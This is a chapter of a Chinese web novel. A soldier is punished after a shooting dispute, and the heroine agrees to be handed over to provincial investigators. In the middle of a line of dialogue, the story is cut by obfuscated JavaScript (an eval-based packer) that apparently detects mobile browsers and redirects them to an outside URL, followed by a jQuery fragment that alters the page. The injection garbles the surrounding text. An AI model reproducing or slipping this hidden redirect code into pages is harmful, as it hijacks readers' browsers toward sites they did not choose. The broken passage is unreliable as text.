57. 走一趟

作品:《佛窟愿

    射出两发子弹,掉落的只有一只鸟。


    是谁打中的?


    “我是军里闻名的神枪手,出枪必中!这鸟肯定是我射中的!”蓝世辉先发制人。


    “你既然出枪必中,第二局怎么会输给我?”孟灿云泼冷水。


    “我被你忽悠,没弄清规则!重打一局,我赢得你跪地求饶!”


    “输了就是输了,有什么可狡辩的?你上战场的时候,也要先等敌人说清楚规则,再拔枪杀人吗?”


    “你!”蓝世辉气的手抖,指着她鼻尖,“你学枪不过两天,枪都没模熟,能打中鸟?放屁!”


    “我学枪两天就能赢你,说明我天赋异禀。”孟灿云迎上他凶狠的目光,淡淡笑道,“两局两胜的天才与两局一胜的庸才相比,谁技高一筹?只要不是蠢到眼瞎的糊涂鬼,都能做出正确的判断。”


    两人分毫不让,就在争执不下,似乎需要新增一局以决胜负时,索靖山出现了。


    “表妹。”同索靖山一起来的还有严录,大清早跑来军营的客人居然是他。


    孟灿云向索靖山投去一个疑惑的眼神,见后者几不可闻地点了点头,她便指着雪地里的鸟尸,向严录抱怨道:“表哥,这只野鸟是我射中的,有人却想横刀夺爱。不仅要打我,还想夺我的枪。你一定要为我主持公道。”


    “有人打你?”严录语气微扬,转身看向索靖山,“我表妹的学费一分不少交给少帅,是令她向你学习枪法,而非叫她站在这天寒地冻的雪地平白受人欺侮。倘若不是我们及时赶过来,恐怕她一个小姑娘真要被你的兵给打了。素闻少帅治军严明,今日这事是否应该给我一个说法?”


    “这是自然。我必给严会长一个满意的交代。”


    “有劳。”


    索靖山慢慢走到蓝世辉面前,眼风凌厉道:“孟小姐说得可是实情?”


    蓝世辉认识严录,听见孟灿云与他的称呼,内心早已翻江倒海。


    他敢闹事,自然做好遭受索靖山责问的准备。


    按照他的原计划,一旦索靖山向他示威,他就拿军中不准私携女眷的条例抗议。彼时索靖山不占法理自然势弱,他再趁机提请更换装备的需求。只要索靖山顾及军威,必然会答应他的条件。假如不答应,他再捏造一条黄谣,让军中舆论逼迫他答应。


    可他没有料到,眼前的女人颇有身份,竟然是严会长的表妹!她来军营练枪,是光明正大缴过学费的。索靖山没有违反军规,更没有偏私拿军中武器讨女人欢心。


    他的计划完全失效。


    蓝世辉的脑袋乱作一团,无暇计较孟灿云说的几分客观几分歪曲,愣怔不做声。


    索靖山见他不开口,转眼看向他身后的兵:“你们说。”


    刀锋队历来为蓝世辉马首是瞻,马头蔫不溜秋熄火了,他们哪还敢吱一个字?


    嚣张跋扈的刀锋队偃旗息鼓,被压制半天的雷霆队却憋不住,他们把阿误搀扶出来,纷纷替他打抱不平。


    就这样,在刀锋队集体沉默以及雷霆队稍加点缀地叙述下,蓝世辉以及刀锋队全员领下一顿军棍。蓝世辉作为队长,罚得比其他人更重,估计领完罚十天半月休想下床。


    临走时,蓝世辉到底没有忍住,大声喊道:“刀锋队每次出战都冲在最前面,替后峰挡了多少子弹?少帅得了新式好枪,就该先紧着我们!偏袒这帮战俘,就是寒了我们老兵的心!我蓝世辉不服!刀锋队的兄弟们也不服!”他声嘶力竭宣泄不满,眼珠子几乎从眼眶蹦出来,愤怒极了。


    与他激动的情绪相对比,索靖山则冷静得多。


    他笑着替蓝世辉扶正衣领,又拍拍他气得鼓起来的腮帮子,最后手掌重重搭在他的肩膀上,说:“蓝队长既这么有想法,不如少帅让给你做。彼时军饷补给,枪支分配,全凭你心意。如何?”


    话音刚落,在场的士兵陡然噤声,他们的表情也变得怪异起来。


    索靖山上一次开这种玩笑,还是在抓9.12嫌犯的时候。


    当时有个马奇芳的残党混入军中,因不满他频繁搜寝而举旗抗议,被他以“军人违反职责罪”处以极刑,死状惨烈。


    蓝世辉回忆似曾相识的一幕,再也不敢抿声,老老实实被带走领罚。


    阿误也被送到医务室处理伤口。


    “古语有云,不患寡而患不均。倘若我将同样的东西卖给两个人,却收不一样的价钱,恐怕我的产业经营不了几日便会破产。”望着他们离开的背影,严录幽幽说道。


    索靖山笑了笑:“参军不是做生意,没有公平交易的说法。我治军,治的就是人性。”


    “话虽如此。然而一碗水不端平,很容易失去军心。”


    “真有那天,我便去找严会长合资开一家电影公司。有严会长的演技撑门面,相信我们的公司一定业绩长虹。”


    “呵呵,看来是我多虑了。”严录笑着结束话题,转头看了一眼孟灿云,“那么,孟小姐现在可以跟我一起走了吧?”


    索靖山没有立即回答。他将目光转向孟灿云,走到她面前,极为自然的摸上她的脸颊:“蓝世辉是军中闻名的赖痞,你能让他吃哑巴亏,倒是机灵。”


    士兵赶鸟的树林靠近索靖山的会议室,在那里放枪,实则是通风报信。


    后面与蓝世辉胡搅蛮缠争说胜负,也只是为了拖延时间。


    一切都在孟灿云的计划中。


    “少帅教的好,才让我有了胜利的资本。”她摇晃手里的枪,笑容里藏着一抹狡黠。


    索靖山眸光微动,拇指游移至她翘起的嘴角,轻轻摩挲,“不,是你自己的本事。”说着,他覆下眼睫,低头想去吻她。


    孟灿云还不习惯跟他在外人面前亲热,嘴唇刚碰上,她就慌忙推开他,偷看一眼严录,却发现严录并无任何惊讶的神色,反而笑盈盈看着他们,一副还很期待的表情。


    孟灿云感觉脸上更热,索性埋在索靖山怀里,悄声问道:“他要带我去哪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196543|161888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里?”


    索靖山见她娇憨模样,心里又爱又怜,忍不住裹紧她,轻咬她的耳朵:“你几时成了他的表妹,嗯?为什么不早告诉我?”


    原来,省署的人查到“严录表妹”这条漏网之鱼,跑去严录那里要人。


    严录这才一大早赶来军营找索靖山求助。


    “他们封了严录的跑马场和银行,责令他今天交人。”


    “所以,我要去警察署吗?”孟灿云抓紧他的衣襟,声音微微发抖:“不去会怎么样?”


    索靖山吻了吻她的眼睛,安慰道:“别怕,我会想办法。”


    省署的行径,孟灿云早有听说。


    他们并不是真心办案,但凡再抓住督军府半个把柄,必然会让督军府坐实谋杀的罪名。


    凶手一日不抓,那帮人就会一日死盯督军府。


    她想过向索靖山提供凶手的线索,可每当临近开口,她还是因为私心将真相拦于齿关。


    她已偷偷藏了几日,现在省署的人找上门,她知道自己逃不掉。


    要么说出实情,让督军府抢先抓到凶手;要么与督军府划清界限,以“严录表妹”的身份走一趟。


    没有第三个方法。


    “不是怕。”孟灿云在索靖山的胸膛蹭了蹭,“我只是惋惜将要浪费练枪的时间。”


    索靖山的身体僵硬住,捧起她的脸,认真看着:“你决定去了?”


    孟灿云察觉他似乎有些不高兴,眨了眨眼睛:“他们计划抓捕所有嫌疑人,对我这条漏网之鱼肯定会想办法再抓回去。我早就料到有这么一天。”


    “你一直等着被抓?”索靖山皱眉,“还是说,你从一开始就不信我能护全你?”


    “不是。我是说……”孟灿云说到一半停住,仔细分析,在她潜意识里,好像就是这样的意思。


    事发以来,纵然索靖山把她护得很紧,可她还是惴惴不安。每天出行,甚至会幻想半路遭人拦截拿枪抓走的场景。


    说到底,还是源于她的不信任,不信任索靖山会在维护督军府利益与保护她之间,选择保护她。


    索靖山的眼底渐渐聚集晦暗不明的情绪。孟灿云自觉心虚,想离他远一点,可惜从他身上松开的手又立刻被他捉回握紧在手心。


    严录察觉两人的状态并不十分正常,出声打破他们之间的沉默:“时间不早了。你们商议的结果如何?”


    “表哥,我跟你走。”孟灿云连忙应下。


    她犹豫片刻,抬起头,看进索靖山晦暗的眼眸里,解释道:“省署的人太笨了,就让我过去给他们提供一些新线索,好叫他们破完案早点滚回去,还沙城一片清静。可以吗?”她温柔笑着,似乎又戴上面具。


    甘愿冒危险,也不愿意向他说出真相,这也是她的选择。


    浓烈的情绪最终化作一抹自嘲的苦笑,索靖山松开手,不再拦她。


    他嘱咐严录:“我暂时将人交给你,严会长务必替我照顾好她。”